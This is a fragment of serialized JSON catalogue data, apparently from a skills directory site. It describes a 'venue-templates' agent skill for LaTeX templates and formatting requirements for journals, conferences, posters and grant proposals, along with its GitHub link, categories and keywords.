oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":216,"name":217,"nameZh":6,"description":218,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":219,"categories":220,"keywords":231,"publishedAt":47},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[221,224,227,228],{"categoryNo":222,"categoryName":223,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":225,"categoryName":226,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":229,"categoryName":230,"taxonomyType":127,"taxonomyTypeDesc":128},"01JBSEEDCAT000000000000036","内容创作者",[232,233,234,235,236,237,238,239,138,240,141,142,143,241,242,243,244,245,188,246],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]